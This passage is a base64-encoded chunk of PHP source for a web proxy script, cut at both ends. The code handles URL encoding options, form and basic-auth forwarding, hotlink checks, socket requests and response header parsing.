Y29uZmlnWydmbGFnc192YXJfbmFtZSddXSkpDQp7DQogICAgJF9pZmxhZ3MgPSAkX0dFVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXV07DQp9DQplbHNlIGlmIChpc3NldCgkX0NPT0tJRVsnZmxhZ3MnXSkgJiYgY3R5cGVfYWxudW0oJF9DT09LSUVbJ2ZsYWdzJ10pKQ0Kew0KICAgICRfaWZsYWdzID0gJF9DT09LSUVbJ2ZsYWdzJ107DQp9DQoNCmlmICgkX2lmbGFncyAhPT0gJycpDQp7DQogICAgJF9zZXRfY29va2llW10gPSBhZGRfY29va2llKCdmbGFncycsICRfaWZsYWdzLCB0aW1lKCkrMjQxOTIwMCk7DQogICAgJF9pZmxhZ3MgPSBzdHJfcGFkKGJhc2VfY29udmVydCgkX2lmbGFncywgMTYsIDIpLCBjb3VudCgkX2ZsYWdzKSwgJzAnLCBTVFJfUEFEX0xFRlQpOw0KICAgICRpID0gMDsNCg0KICAgIGZvcmVhY2ggKCRfZmxhZ3MgYXMgJGZsYWdfbmFtZSA9PiAkZmxhZ192YWx1ZSkNCiAgICB7DQogICAgICAgICRfZmxhZ3NbJGZsYWdfbmFtZV0gPSAkX2Zyb3plbl9mbGFnc1skZmxhZ19uYW1lXSA/ICRmbGFnX3ZhbHVlIDogKGludCkoYm9vbCkkX2lmbGFnc3skaX07DQogICAgICAgICRpKys7DQogICAgfQ0KfQ0KDQovLw0KLy8gREVURVJNSU5FIFVSTC1FTkNPRElORyBCQVNFRCBPTiBGTEFHUw0KLy8NCg0KaWYgKCRfZmxhZ3NbJ3JvdGF0ZTEzJ10pDQp7DQogICAgZnVuY3Rpb24gZW5jb2RlX3VybCgkdXJsKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIHJhd3VybGVuY29kZShzdHJfcm90MTMoJHVybCkpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkZWNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyZhbXA7JywgJyYjMzg7JyksICcmJywgc3RyX3JvdDEzKHJhd3VybGRlY29kZSgkdXJsKSkpOw0KICAgIH0NCn0NCmVsc2UgaWYgKCRfZmxhZ3NbJ2Jhc2U2NF9lbmNvZGUnXSkNCnsNCiAgICBmdW5jdGlvbiBlbmNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gcmF3dXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJHVybCkpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkZWNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyZhbXA7JywgJyYjMzg7JyksICcmJywgYmFzZTY0X2RlY29kZShyYXd1cmxkZWNvZGUoJHVybCkpKTsNCiAgICB9DQp9DQplbHNlDQp7DQogICAgZnVuY3Rpb24gZW5jb2RlX3VybCgkdXJsKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIHJhd3VybGVuY29kZSgkdXJsKTsNCiAgICB9DQogICAgZnVuY3Rpb24gZGVjb2RlX3VybCgkdXJsKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCcmYW1wOycsICcmIzM4OycpLCAnJicsIHJhd3VybGRlY29kZSgkdXJsKSk7DQogICAgfQ0KfQ0KDQovLw0KLy8gQ09NUFJFU1MgT1VUUFVUIElGIElOU1RSVUNURUQNCi8vDQoNCmlmICgkX2NvbmZpZ1snY29tcHJlc3Nfb3V0cHV0J10gJiYgJF9zeXN0ZW1bJ2d6aXAnXSkNCnsNCiAgICBvYl9zdGFydCgnb2JfZ3poYW5kbGVyJyk7DQp9DQoNCi8vDQovLyBTVFJJUCBTTEFTSEVTIEZST00gR1BDIElGIE5FQ0VTU0FSWQ0KLy8NCg0KaWYgKCRfc3lzdGVtWydzdHJpcHNsYXNoZXMnXSkNCnsNCiAgICBmdW5jdGlvbiBfc3RyaXBzbGFzaGVzKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIHJldHVybiBpc19hcnJheSgkdmFsdWUpID8gYXJyYXlfbWFwKCdfc3RyaXBzbGFzaGVzJywgJHZhbHVlKSA6IChpc19zdHJpbmcoJHZhbHVlKSA/IHN0cmlwc2xhc2hlcygkdmFsdWUpIDogJHZhbHVlKTsNCiAgICB9DQogICAgDQogICAgJF9HRVQgICAgPSBfc3RyaXBzbGFzaGVzKCRfR0VUKTsNCiAgICAkX1BPU1QgICA9IF9zdHJpcHNsYXNoZXMoJF9QT1NUKTsNCiAgICAkX0NPT0tJRSA9IF9zdHJpcHNsYXNoZXMoJF9DT09LSUUpOw0KfQ0KDQovLw0KLy8gRklHVVJFIE9VVCBXSEFUIFRPIERPIChQT1NUIFVSTC1mb3JtIHN1Ym1pdCwgR0VUIGZvcm0gcmVxdWVzdCwgcmVndWxhciByZXF1ZXN0LCBiYXNpYyBhdXRoLCBjb29raWUgbWFuYWdlciwgc2hvdyBVUkwtZm9ybSkNCi8vDQoNCmlmIChpc3NldCgkX1BPU1RbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkgJiYgIWlzc2V0KCRfR0VUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pKQ0KeyAgIA0KICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkX3NjcmlwdF91cmwgLiAnPycgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnPScgLiBlbmNvZGVfdXJsKCRfUE9TVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAuICcmJyAuICRfY29uZmlnWydmbGFnc192YXJfbmFtZSddIC4gJz0nIC4gYmFzZV9jb252ZXJ0KCRfaWZsYWdzLCAyLCAxNikpOw0KICAgIGV4aXQoMCk7DQp9DQoNCmlmIChpc3NldCgkX0dFVFskX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddXSkpDQp7DQogICAgJF91cmwgID0gZGVjb2RlX3VybCgkX0dFVFskX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddXSk7DQogICAgJHFzdHIgPSBzdHJwb3MoJF91cmwsICc/JykgIT09IGZhbHNlID8gKHN0cnBvcygkX3VybCwgJz8nKSA9PT0gc3RybGVuKCRfdXJsKS0xID8gJycgOiAnJicpIDogJz8nOw0KICAgICRhcnIgID0gZXhwbG9kZSgnJicsICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSk7DQogICAgDQogICAgaWYgKHByZWdfbWF0Y2goJyNeXFEnIC4gJF9jb25maWdbJ2dldF9mb3JtX25hbWUnXSAuICdcRSMnLCAkYXJyWzBdKSkNCiAgICB7DQogICAgICAgIGFycmF5X3NoaWZ0KCRhcnIpOw0KICAgIH0NCiAgICANCiAgICAkX3VybCAuPSAkcXN0ciAuIGltcGxvZGUoJyYnLCAkYXJyKTsNCn0NCmVsc2UgaWYgKGlzc2V0KCRfR0VUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pKQ0Kew0KICAgICRfdXJsID0gZGVjb2RlX3VybCgkX0dFVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKTsNCn0NCmVsc2UgaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgJF9HRVRbJ2FjdGlvbiddID09ICdjb29raWVzJykNCnsNCiAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdjb29raWVzJykpOw0KfQ0KZWxzZQ0Kew0KICAgIHNob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2luZGV4JywgJ2NhdGVnb3J5JyA9PiAnZW50cnlfZm9ybScpKTsNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0sICRfUE9TVFskX2NvbmZpZ1snYmFzaWNfYXV0aF92YXJfbmFtZSddXSwgJF9QT1NUWyd1c2VybmFtZSddLCAkX1BPU1RbJ3Bhc3N3b3JkJ10pKQ0Kew0KICAgICRfcmVxdWVzdF9tZXRob2QgICAgPSAnR0VUJzsNCiAgICAkX2Jhc2ljX2F1dGhfcmVhbG0gID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJF9jb25maWdbJ2Jhc2ljX2F1dGhfdmFyX25hbWUnXV0pOw0KICAgICRfYmFzaWNfYXV0aF9oZWFkZXIgPSBiYXNlNjRfZW5jb2RlKCRfUE9TVFsndXNlcm5hbWUnXSAuICc6JyAuICRfUE9TVFsncGFzc3dvcmQnXSk7DQp9DQoNCi8vDQovLyBTRVQgVVJMDQovLw0KDQppZiAoc3RycG9zKCRfdXJsLCAnOi8vJykgPT09IGZhbHNlKQ0Kew0KICAgICRfdXJsID0gJ2h0dHA6Ly8nIC4gJF91cmw7DQp9DQoNCmlmICh1cmxfcGFyc2UoJF91cmwsICRfdXJsX3BhcnRzKSkNCnsNCiAgICAkX2Jhc2UgPSAkX3VybF9wYXJ0czsNCiAgICANCiAgICBpZiAoIWVtcHR5KCRfaG9zdHMpKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJF9ob3N0cyBhcyAkaG9zdCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJGhvc3QsICRfdXJsX3BhcnRzWydob3N0J10pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHNob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2luZGV4JywgJ2NhdGVnb3J5JyA9PiAnZXJyb3InLCAnZ3JvdXAnID0+ICd1cmwnLCAndHlwZScgPT4gJ2V4dGVybmFsJywgJ2Vycm9yJyA9PiAxKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQplbHNlDQp7DQogICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlcnJvcicsICdncm91cCcgPT4gJ3VybCcsICd0eXBlJyA9PiAnZXh0ZXJuYWwnLCAnZXJyb3InID0+IDIpKTsNCn0NCg0KLy8NCi8vIEhPVExJTktJTkcgUFJFVkVOVElPTg0KLy8NCg0KaWYgKCEkX2NvbmZpZ1snYWxsb3dfaG90bGlua2luZyddICYmIGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpDQp7DQogICAgJF9ob3RsaW5rX2RvbWFpbnNbXSA9ICRfaHR0cF9ob3N0Ow0KICAgICRpc19ob3RsaW5raW5nICAgICAgPSB0cnVlOw0KICAgIA0KICAgIGZvcmVhY2ggKCRfaG90bGlua19kb21haW5zIGFzICRob3N0KQ0KICAgIHsNCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeaHR0cHM/XDpcL1wvKHd3dyk/XFEnIC4gJGhvc3QgIC4gJ1xFKFwvfFw6fCQpI2knLCB0cmltKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkaXNfaG90bGlua2luZyA9IGZhbHNlOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgaWYgKCRpc19ob3RsaW5raW5nKQ0KICAgIHsNCiAgICAgICAgc3dpdGNoICgkX2NvbmZpZ1sndXBvbl9ob3RsaW5rJ10pDQogICAgICAgIHsNCiAgICAgICAgICAgIGNhc2UgMToNCiAgICAgICAgICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAncmVzb3VyY2UnLCAndHlwZScgPT4gJ2hvdGxpbmtpbmcnKSk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlIDI6DQogICAgICAgICAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7DQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfY29uZmlnWyd1cG9uX2hvdGxpbmsnXSk7DQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCiANCi8vDQovLyBPUEVOIFNPQ0tFVCBUTyBTRVJWRVINCi8vDQoNCmRvDQp7DQogICAgJF9yZXRyeSAgPSBmYWxzZTsNCiAgICAkX3NvY2tldCA9IEBmc29ja29wZW4oKCRfdXJsX3BhcnRzWydzY2hlbWUnXSA9PT0gJ2h0dHBzJyAmJiAkX3N5c3RlbVsnc3NsJ10gPyAnc3NsOi8vJyA6ICd0Y3A6Ly8nKSAuICRfdXJsX3BhcnRzWydob3N0J10sICRfdXJsX3BhcnRzWydwb3J0J10sICRlcnJfbm8sICRlcnJfc3RyLCAzMCk7DQoNCiAgICBpZiAoJF9zb2NrZXQgPT09IGZhbHNlKQ0KICAgIHsNCiAgICAgICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlcnJvcicsICdncm91cCcgPT4gJ3VybCcsICd0eXBlJyA9PiAnaW50ZXJuYWwnLCAnZXJyb3InID0+ICRlcnJfbm8pKTsNCiAgICB9DQoNCiAgICAvLw0KICAgIC8vIFNFVCBSRVFVRVNUIEhFQURFUlMNCiAgICAvLw0KDQogICAgJF9yZXF1ZXN0X2hlYWRlcnMgID0gJF9yZXF1ZXN0X21ldGhvZCAuICcgJyAuICRfdXJsX3BhcnRzWydwYXRoJ107DQoNCiAgICBpZiAoaXNzZXQoJF91cmxfcGFydHNbJ3F1ZXJ5J10pKQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJz8nOw0KICAgICAgICAkcXVlcnkgPSBwcmVnX3NwbGl0KCcjKFsmO10pIycsICRfdXJsX3BhcnRzWydxdWVyeSddLCAtMSwgUFJFR19TUExJVF9ERUxJTV9DQVBUVVJFKTsNCiAgICAgICAgZm9yICgkaSA9IDAsICRjb3VudCA9IGNvdW50KCRxdWVyeSk7ICRpIDwgJGNvdW50OyAkX3JlcXVlc3RfaGVhZGVycyAuPSBpbXBsb2RlKCc9JywgYXJyYXlfbWFwKCd1cmxlbmNvZGUnLCBhcnJheV9tYXAoJ3VybGRlY29kZScsIGV4cGxvZGUoJz0nLCAkcXVlcnlbJGldKSkpKSAuIChpc3NldCgkcXVlcnlbKyskaV0pID8gJHF1ZXJ5WyRpXSA6ICcnKSwgJGkrKyk7DQogICAgfQ0KDQogICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIiBIVFRQLzEuMFxyXG4iOw0KICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICdIb3N0OiAnIC4gJF91cmxfcGFydHNbJ2hvc3QnXSAuICRfdXJsX3BhcnRzWydwb3J0X2V4dCddIC4gIlxyXG4iOw0KDQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAnVXNlci1BZ2VudDogJyAuICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSAuICJcclxuIjsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVCddKSkNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICdBY2NlcHQ6ICcgLiAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSAuICJcclxuIjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkFjY2VwdDogKi8qO3E9MC4xXHJcbiI7DQogICAgfQ0KICAgIGlmICgkX2ZsYWdzWydzaG93X3JlZmVyZXInXSAmJiBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pICYmIHByZWdfbWF0Y2goJyNeXFEnIC4gJF9zY3JpcHRfdXJsIC4gJz8nIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJz1cRShbXiZdKykjJywgJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCAkbWF0Y2hlcykpDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAnUmVmZXJlcjogJyAuIGRlY29kZV91cmwoJG1hdGNoZXNbMV0pIC4gIlxyXG4iOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfQ09PS0lFKSkNCiAgICB7DQogICAgICAgICRfY29va2llICA9ICcnOw0KICAgICAgICAkX2F1dGhfY3JlZHMgICAgPSBhcnJheSgpOw0KICAgIA0KICAgICAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va2llX2lkID0+ICRjb29raWVfY29udGVudCkNCiAgICAgICAgew0KICAgICAgICAgICAgJGNvb2tpZV9pZCAgICAgID0gZXhwbG9kZSgnOycsIHJhd3VybGRlY29kZSgkY29va2llX2lkKSk7DQogICAgICAgICAgICAkY29va2llX2NvbnRlbnQgPSBleHBsb2RlKCc7JywgcmF3dXJsZGVjb2RlKCRjb29raWVfY29udGVudCkpOw0KICAgIA0KICAgICAgICAgICAgaWYgKCRjb29raWVfaWRbMF0gPT09ICdDT09LSUUnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRjb29raWVfaWRbM10gPSBzdHJfcmVwbGFjZSgnXycsICcuJywgJGNvb2tpZV9pZFszXSk7IC8vc3R1cGlkIFBIUCBjYW4ndCBoYXZlIGRvdHMgaW4gdmFyIG5hbWVzDQoNCiAgICAgICAgICAgICAgICBpZiAoY291bnQoJGNvb2tpZV9pZCkgPCA0IHx8ICgkY29va2llX2NvbnRlbnRbMV0gPT0gJ3NlY3VyZScgJiYgJF91cmxfcGFydHNbJ3NjaGVtZSddICE9ICdodHRwcycpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgfQ0KICAgIA0KICAgICAgICAgICAgICAgIGlmICgocHJlZ19tYXRjaCgnI1xRJyAuICRjb29raWVfaWRbM10gLiAnXEUkI2knLCAkX3VybF9wYXJ0c1snaG9zdCddKSB8fCBzdHJ0b2xvd2VyKCRjb29raWVfaWRbM10pID09IHN0cnRvbG93ZXIoJy4nIC4gJF91cmxfcGFydHNbJ2hvc3QnXSkpICYmIHByZWdfbWF0Y2goJyNeXFEnIC4gJGNvb2tpZV9pZFsyXSAuICdcRSMnLCAkX3VybF9wYXJ0c1sncGF0aCddKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRfY29va2llIC49ICgkX2Nvb2tpZSAhPSAnJyA/ICc7ICcgOiAnJykgLiAoZW1wdHkoJGNvb2tpZV9pZFsxXSkgPyAnJyA6ICRjb29raWVfaWRbMV0gLiAnPScpIC4gJGNvb2tpZV9jb250ZW50WzBdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UgaWYgKCRjb29raWVfaWRbMF0gPT09ICdBVVRIJyAmJiBjb3VudCgkY29va2llX2lkKSA9PT0gMykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkY29va2llX2lkWzJdID0gc3RyX3JlcGxhY2UoJ18nLCAnLicsICRjb29raWVfaWRbMl0pOw0KDQogICAgICAgICAgICAgICAgaWYgKCRfdXJsX3BhcnRzWydob3N0J10gLiAnOicgLiAkX3VybF9wYXJ0c1sncG9ydCddID09PSAkY29va2llX2lkWzJdKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJF9hdXRoX2NyZWRzWyRjb29raWVfaWRbMV1dID0gJGNvb2tpZV9jb250ZW50WzBdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCRfY29va2llICE9ICcnKQ0KICAgICAgICB7DQogICAgICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiQ29va2llOiAkX2Nvb2tpZVxyXG4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3VybF9wYXJ0c1sndXNlciddLCAkX3VybF9wYXJ0c1sncGFzcyddKSkNCiAgICB7DQogICAgICAgICRfYmFzaWNfYXV0aF9oZWFkZXIgPSBiYXNlNjRfZW5jb2RlKCRfdXJsX3BhcnRzWyd1c2VyJ10gLiAnOicgLiAkX3VybF9wYXJ0c1sncGFzcyddKTsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX2Jhc2ljX2F1dGhfaGVhZGVyKSkNCiAgICB7DQogICAgICAgICRfc2V0X2Nvb2tpZVtdID0gYWRkX2Nvb2tpZSgiQVVUSDt7JF9iYXNpY19hdXRoX3JlYWxtfTt7JF91cmxfcGFydHNbJ2hvc3QnXX06eyRfdXJsX3BhcnRzWydwb3J0J119IiwgJF9iYXNpY19hdXRoX2hlYWRlcik7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJBdXRob3JpemF0aW9uOiBCYXNpYyB7JF9iYXNpY19hdXRoX2hlYWRlcn1cclxuIjsNCiAgICB9DQogICAgZWxzZSBpZiAoIWVtcHR5KCRfYmFzaWNfYXV0aF9yZWFsbSkgJiYgaXNzZXQoJF9hdXRoX2NyZWRzWyRfYmFzaWNfYXV0aF9yZWFsbV0pKQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgIC49ICJBdXRob3JpemF0aW9uOiBCYXNpYyB7JF9hdXRoX2NyZWRzWyRfYmFzaWNfYXV0aF9yZWFsbV19XHJcbiI7DQogICAgfQ0KICAgIGVsc2UgaWYgKGxpc3QoJF9iYXNpY19hdXRoX3JlYWxtLCAkX2Jhc2ljX2F1dGhfaGVhZGVyKSA9IGVhY2goJF9hdXRoX2NyZWRzKSkNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJBdXRob3JpemF0aW9uOiBCYXNpYyB7JF9iYXNpY19hdXRoX2hlYWRlcn1cclxuIjsNCiAgICB9DQogICAgaWYgKCRfcmVxdWVzdF9tZXRob2QgPT0gJ1BPU1QnKQ0KICAgIHsgICANCiAgICAgICAgaWYgKCFlbXB0eSgkX0ZJTEVTKSAmJiAkX3N5c3RlbVsndXBsb2FkcyddKQ0KICAgICAgICB7DQogICAgICAgICAgICAkX2RhdGFfYm91bmRhcnkgPSAnLS0tLScgLiBtZDUodW5pcWlkKHJhbmQoKSwgdHJ1ZSkpOw0KICAgICAgICAgICAgJGFycmF5ID0gc2V0X3Bvc3RfdmFycygkX1BPU1QpOw0KICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJGFycmF5IGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49ICItLXskX2RhdGFfYm91bmRhcnl9XHJcbiI7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT1cIiRrZXlcIlxyXG5cclxuIjsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSB1cmxkZWNvZGUoJHZhbHVlKSAuICJcclxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGFycmF5ID0gc2V0X3Bvc3RfZmlsZXMoJF9GSUxFUyk7DQogICAgDQogICAgICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkZmlsZV9pbmZvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49ICItLXskX2RhdGFfYm91bmRhcnl9XHJcbiI7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT1cIiRrZXlcIjsgZmlsZW5hbWU9XCJ7JGZpbGVfaW5mb1snbmFtZSddfVwiXHJcbiI7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gJ0NvbnRlbnQtVHlwZTogJyAuIChlbXB0eSgkZmlsZV9pbmZvWyd0eXBlJ10pID8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScgOiAkZmlsZV9pbmZvWyd0eXBlJ10pIC4gIlxyXG5cclxuIjsNCiAgICANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZpbGVfaW5mb1sndG1wX25hbWUnXSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGZpbGVfaW5mb1sndG1wX25hbWUnXSwgJ3JiJyk7DQogICAgICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49IGZyZWFkKCRoYW5kbGUsIGZpbGVzaXplKCRmaWxlX2luZm9bJ3RtcF9uYW1lJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAiXHJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgICRfcG9zdF9ib2R5ICAgICAgIC49ICItLXskX2RhdGFfYm91bmRhcnl9LS1cclxuIjsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PXskX2RhdGFfYm91bmRhcnl9XHJcbiI7DQogICAgICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiQ29udGVudC1MZW5ndGg6ICIgLiBzdHJsZW4oJF9wb3N0X2JvZHkpIC4gIlxyXG5cclxuIjsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICRfcG9zdF9ib2R5Ow0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJGFycmF5ID0gc2V0X3Bvc3RfdmFycygkX1BPU1QpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIWVtcHR5KCRfcG9zdF9ib2R5KSA/ICcmJyA6ICcnOw0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49ICRrZXkgLiAnPScgLiAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LUxlbmd0aDogIiAuIHN0cmxlbigkX3Bvc3RfYm9keSkgLiAiXHJcblxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJF9wb3N0X2JvZHk7DQogICAgICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiXHJcbiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRfcG9zdF9ib2R5ID0gJyc7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJcclxuIjsNCiAgICB9DQoNCiAgICBmd3JpdGUoJF9zb2NrZXQsICRfcmVxdWVzdF9oZWFkZXJzKTsNCiAgICANCiAgICAvLw0KICAgIC8vIFBST0NFU1MgUkVTUE9OU0UgSEVBREVSUw0KICAgIC8vDQogICAgDQogICAgJF9yZXNwb25zZV9oZWFkZXJzID0gJF9yZXNwb25zZV9rZXlzID0gYXJyYXkoKTsNCiAgICANCiAgICAkbGluZSA9IGZnZXRzKCRfc29ja2V0LCA4MTkyKTsNCiAgICANCiAgICB3aGlsZSAoc3Ryc3BuKCRsaW5lLCAiXHJcbiIpICE9PSBzdHJsZW4oJGxpbmUpKQ0KICAgIHsNCiAgICAgICAgQGxpc3QoJG5hbWUsICR2YWx1ZSkgPSBleHBsb2RlKCc6JywgJGxpbmUsIDIpOw0KICAgICAgICAkbmFtZSA9IHRyaW0oJG5hbWUpOw0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbc3RydG9sb3dlcigkbmFtZSldW10gPSB0cmltKCR2YWx1ZSk7DQogICAgICAgICRfcmVzcG9uc2Vfa2V5c1tzdHJ0b2xvd2VyKCRuYW1lKV0gPSAkbmFtZTsNCiAgICAgICAgJGxpbmUgPSBmZ2V0cygkX3NvY2tldCwgODE5Mik7DQogICAgfQ0KICAgIA0KICAgIHNzY2FuZihjdXJyZW50KCRfcmVzcG9uc2Vfa2V5cyksICclcyAlcycsICRfaHR0cF92ZXJzaW9uLCAkX3Jlc3BvbnNlX2NvZGUpOw0KICAgIA0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtdHlwZSddKSkNCiAgICB7DQogICAgICAgIGxpc3QoJF9jb250ZW50X3R5cGUsICkgPSBleHBsb2RlKCc7Jywgc3RyX3JlcGxhY2Uo